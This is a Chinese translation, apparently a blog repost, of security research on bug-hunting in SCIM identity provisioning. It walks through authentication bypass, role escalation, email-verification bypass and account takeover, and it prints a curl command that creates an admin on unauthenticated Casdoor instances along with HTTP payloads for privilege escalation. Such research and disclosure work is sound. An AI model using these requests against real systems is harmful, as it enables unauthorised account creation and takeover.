SCIM安全漏洞挖掘指南：超越SSO的身份管理风险

本文深入探讨SCIM协议在身份管理系统中的安全风险，涵盖认证绕过、令牌管理、用户重配置等漏洞类型，提供实际案例和测试方法，帮助安全研究人员发现关键安全问题。

SCIM Hunting - Beyond SSO

08 May 2025 - Posted by Francesco Lacerenza

引言

单点登录相关漏洞近年来获得了惊人的关注度和大量优秀的公开披露。仅举几个例子：

  • 常见OAuth漏洞
  • 以任意用户身份登录：通过解析差异绕过SAML SSO认证
  • 在登录OAuth流程中使用"脏舞"进行账户劫持

等等 - 外面有很多宝藏。 毫不奇怪，使用自定义实现的系统受影响最严重，因为将SSO与平台的用户对象模型集成并非易事。

然而，虽然SSO经常占据中心舞台，但另一个标准经常未被充分测试 - SCIM（跨域身份管理系统）。在本博客文章中，我们将深入探讨其核心方面以及在我们测试客户实现时经常发现的不安全设计问题。

目录

  • SCIM 101
  • 漏洞挖掘
  • 额外关注领域
  • 结论

SCIM 101

SCIM是一个旨在自动化系统间用户账户配置和取消配置的标准，确保连接部分之间的访问一致性。 该标准在以下RFC中定义：RFC7642、RFC7644、RFC7643。 虽然它不是专门设计为IdP到SP的协议，而是用于云环境的通用用户池同步协议，但现实世界场景主要将其嵌入在IdP-SP关系中。

核心组件

简而言之，该标准定义了一组由服务提供商暴露的RESTful API，其他参与者（主要是身份提供商）应可调用这些API来更新用户池。

它提供具有以下操作集的REST API来编辑托管对象：

  • 创建：POST https://example-SP.com/{v}/{resource}
  • 读取：GET https://example-SP.com/{v}/{resource}/{id}
  • 替换：PUT https://example-SP.com/{v}/{resource}/{id}
  • 删除：DELETE https://example-SP.com/{v}/{resource}/{id}
  • 更新：PATCH https://example-SP.com/{v}/{resource}/{id}
  • 搜索：GET https://example-SP.com/{v}/{resource}?<SEARCH_PARAMS>
  • 批量：POST https://example-SP.com/{v}/Bulk

因此，我们可以将SCIM总结为一组可用于对表示用户身份的一组JSON编码对象执行CRUD操作的API。

核心功能

如果您想在SCIM实现中寻找漏洞，以下是在审计期间需要审查的核心功能列表：

  • 服务器配置和认证/授权中间件 - SCIM未定义其认证/授权方法，因此它始终是自定义的
  • SCIM对象到内部对象的映射功能 - 后端如何将SCIM对象转换/链接到内部用户和组对象
  • 操作执行逻辑 - 身份相关对象中的更改通常会触发应用程序流程

注意影响

作为直接的IdP到SP通信，大多数由此产生的问题需要一定级别的IdP或SP访问权限。因此，攻击的复杂性可能会降低您的大多数发现。

相反，在多租户平台中，影响可能会飙升，其中SCIM用户可能缺乏常见的租户隔离逻辑。

漏洞挖掘

以下是在审计SCIM实现时应寻找的一些有价值的漏洞示例。

认证绕过

几个月前，我们发布了在Casdoor IdP实例中的未经身份验证的SCIM操作公告。这是一个支持各种身份验证标准的开源身份解决方案，如OAuth、SAML、OIDC等。当然，SCIM也被包含在内，但作为一项服务，意味着Casdoor也将允许外部参与者操作其用户池。

Casdoor使用了elimity-com/scim库，该库默认情况下在其配置中不包括身份验证。因此，使用此库定义和暴露的SCIM服务器保持未经身份验证的状态。

1
2
3
4

server := scim.Server{
 Config: config,
 ResourceTypes: resourceTypes,
}

利用实例需要与配置域匹配的电子邮件。可使用SCIM POST操作创建匹配内部电子邮件域和数据的新用户。

1
2
3
4
5
6
7
8
9

curl --path-as-is -i -s -k -X $'POST' \
 -H $'Content-Type: application/scim+json'-H $'Content-Length: 377' \
 --data-binary $'{\"active\":true,\"displayName\":\"Admin\",\"emails\":[{\"value\":
\"admin2@victim.com\"}],\"password\":\"12345678\",\"nickName\":\"Attacker\",
\"schemas\":[\"urn:ietf:params:scim:schemas:core:2.0:User\",
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\"],
\"urn:ietf:params:scim:schemas:extension:enterprise:2.0:User\":{\"organization\":
\"built-in\"},\"userName\":\"admin2\",\"userType\":\"normal-user\"}' \
 $'https://<CASDOOR_INSTANCE>/scim/Users'

然后，使用新的管理员用户admin2:12345678身份验证到IdP仪表板。

注意：维护者发布了新版本，其中包含修复程序。

虽然这是一个非常简单但关键的问题，但在经过身份验证的实现中也可以找到绕过。在其他情况下，服务可能仅在内部可用且不受保护。

SCIM令牌管理

[*] IdP端问题 由于SCIM密钥允许对服务提供商执行危险操作，因此应保护它们免受设置后发生的提取。在配置的应用程序上测试或编辑IdP SCIM集成时，如果连接器URL与先前设置的URL不同，应需要输入新的SCIM令牌。

发现一个著名的IdP在向/v1/api/scim/Users?startIndex=1&count=1发出SCIM集成测试请求时使用旧密钥，同时接受新的baseURL。

[*] SP端问题 SCIM令牌的创建和读取应仅允许高特权用户。以管理它的SP端点为目标，寻找授权问题，或使用漂亮的XSS或其他漏洞对其进行攻击，以升级平台中的访问级别。

不需要的用户重新配置回退

由于实时用户访问管理是SCIM的核心，因此也值得寻找导致取消配置的用户返回并访问SP的回退。

例如，让我们看下面的update_scimUser函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

def can_be_reprovisioned?(usrObj)
    return true if usrObj.respond_to?(:active) && !usrObj.active?
    false
end

def update_scimUser(usrObj)
    # [...]
    if parser.deprovision_user?
      # [...]
    #  (o)__(o)'
    elsif can_be_reprovisioned?(usrObj) 
      reprovision(usrObj)
    else
      true
    end
end

由于respond_to?(:active)对于SCIM身份始终为true。如果用户不活跃，条件!identity.active?将始终为true并导致重新配置。

因此，任何SCIM更新请求将回退到重新配置，如果用户因任何原因不活跃。

内部属性操纵

在将身份同步外包给SCIM时，选择将SCIM对象中的哪些内容复制到新的内部对象变得至关重要，因为错误可能来自"过度"的属性允许。

[*] 示例1 - 内部角色权限提升 一个客户端支持通过SCIM端点配置和更新Okta组和用户。

它将Okta组转换为具有自定义标签的内部角色，以引用"Okta资源"。特别是，函数resource_to_access_map从提供的SCIM组资源构造了一个未经验证的访问映射。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10

[...]
group_data, decode_error := decode_group_resource(resource.Attributes.AsMap())

var role_list []string
//  (o)__(o)'
if resource.Id != "" {
    role_list = []string{resource.Id}
}
//...
return access_map, nil, nil

实现问题在于，role_list中的角色名称是在从第三方源传递的Id属性上构造的。

后来，另一个函数更新了从SCIM事件构造的角色对象，没有进一步检查。因此，可以通过在SCIM组ID中匹配其名称来覆盖平台中的任何现有资源。

例如，如果SCIM组资源ID设置为内部角色名称，会发生有趣的事情。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

POST /api/scim/Groups HTTP/1.1
Host: <PLATFORM>
Content-Type: application/json; charset=utf-8
Authorization: Bearer 650…[REDACTED]…
…[REDACTED]…
Content-Length: 283
{
    "schemas": ["urn:ietf:params:scim:schemas:core:2.0:Group"],
    "id":"superadmin",
    "displayName": "TEST_NAME",
    "members": [{
        "value": "francesco@doyensec.com",
        "display": "francesco@doyensec.com"
    }]
}

平台创建了一个名为TEST_NAME的访问映射，向成员授予superadmin角色。

[*] 示例2 - SCIM到用户映射中的批量分配 根据对象映射策略，其他内部属性操作可能是可能的。

一个有价值的示例可能如下所示。

1
2
3
4
5

SSO_user.update!(
    external_id: scim_data["externalId"],
    #         (o)__(o)' 
    userData: Oj.load(scim_req_body),
)

即使Oj默认值被覆盖，仍然可以将任何数据放入SCIM请求并通过userData访问它。逻辑假设它只包含SCIM属性。

验证绕过

此类别包含由SCIM事件引起的更新未应用所需的内部用户管理过程而产生的所有漏洞。

一个相关的有趣发现是Gitlab绕过电子邮件验证。我们在评估中也发现了涉及在代码验证过程中绕过的类似案例。

[*] 示例 - 相同但带有代码绕过 SCIM电子邮件更改未触发其他电子邮件更改操作所需的典型确认流程。

攻击者可以请求向其电子邮件发送验证码，使用SCIM将电子邮件更改为受害者电子邮件，然后兑换验证码从而验证新的电子邮件地址。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

PATCH /scim/v2/<ATTACKER_SAML_ORG_ID>/<ATTACKER_USER_SCIM_ID> HTTP/2
Host: <CLIENT_PLATFORM>
Authorization: Bearer <SCIM_TOKEN>
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 205

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "userName": "<VICTIM_ADDRESS>"
    }
    }
  ]
}

账户接管

在多租户平台中，SSO-SCIM身份应链接到底层用户对象。虽然它不是RFC的一部分，但需要管理用户属性以最终触发平台的验证和所有权检查过程。

一个公共示例案例，在更新底层用户时情况不顺利，是CVE-2022-1680 - 通过SCIM电子邮件更改进行Gitlab账户接管。以下是在我们一个客户中发现的非常相似的实例。

[*] 示例 - 相同但不同 一个客户端允许SCIM操作更改用户的电子邮件并执行账户接管。

每次创建或更新SCIM用户时都会调用函数set_username。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16

#[...]
underlying_user = sso_user.underlying_user
sso_user.scim["userName"] = new_name
sso_user.username = new_name
tenant = Tenant.find(sso_user.id)
underlying_user&.change_email!(
  new_name,
  validate_email: tenant.isAuthzed?(new_name)
)

def underlying_user
    return nil if !tenant.isAuthzed?(self.username)
    # [...]
    #                                   (o)__(o)' 
    @underlying_user = User.find_by(email: self.username)
end

如果组织无权根据isAuthzed管理用户，则underlying_user应为nil，从而阻止更改。在我们的特定情况下，授权功能未保护处于特定状态的用户不被接管。一旦将受害者用户添加到租户，可以使用SCIM强制更改受害者用户的电子邮件并接管账户。如果与经典的"强制租户加入"问题结合，可以形成一个很好的链。

此外，由于平台未保护免受多SSO上下文切换的影响，一旦使用新电子邮件进行身份验证，攻击者可以访问用户所属的所有其他租户。

额外关注领域

有趣的SCIM操作语法

根据rfc7644，Path属性定义为：

“path"属性值是一个包含描述操作目标的属性路径的字符串。“path"属性对于"add"和"replace"是可选的，对于"remove"操作是必需的。

由于path属性是可选的，当它是执行逻辑的一部分时，应仔细管理nil可能性。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

def exec_scim_ops(scim_identity, operation)
    path = operation["path"]
    value = operation["value"]

    case path
    when "members"
      # [...]
    when "externalId"
      # [...]
    else
      # 半捕获所有逻辑！
    end
end

放置捕获所有默认值可以允许另一种PatchOp消息语法仍然命中受限情况之一，同时跳过检查。这是一个SCIM请求正文示例，将跳过externalId检查并在上述上下文中编辑它。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

{
  "schemas": ["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
  "Operations": [
    {
      "op": "replace",
      "value": {
        "externalId": "<ID_INJECTION>"
        }
    }
  ]
}

操作的value允许包含<Attribute:Value>的字典。

批量操作顺序评估

由于可能支持批量操作，这些实现中可能出现特定问题：

  • 竞争条件 - 排序逻辑可能不包括对每个步骤中触发的额外过程的推理
  • 缺少循环引用保护 - RFC7644明确讨论循环引用处理

JSON互操作性

由于SCIM采用JSON进行数据表示，JSON互操作性攻击可能导致挖掘列表中描述的大多数问题。一个著名的起点是文章：JSON互操作性漏洞探索。

一旦发现SCIM实现中使用的解析库，检查其他内部逻辑是否在存储JSON序列化时依赖，同时使用不同的解析器进行比较或解组。

尽管是一种相对简单的格式，JSON解析器差异可能导致有趣的案例。

结论

作为SSO的扩展，SCIM有潜力在特定情况下启用关键利用。如果您正在测试SSO，SCIM也应该在范围内！

最后，SCIM实现中最有趣的漏洞需要深入了解应用程序的授权和身份验证机制。真正的价值在于识别SCIM对象和映射的内部用户对象之间的差异，因为这些差异通常导致有影响的发现。

comments powered by Disqus
© 2020 - 2025 qife
使用 Hugo 构建
主题 Stack 由 Jimmy 设计
本站总访问量次 本站访客数人次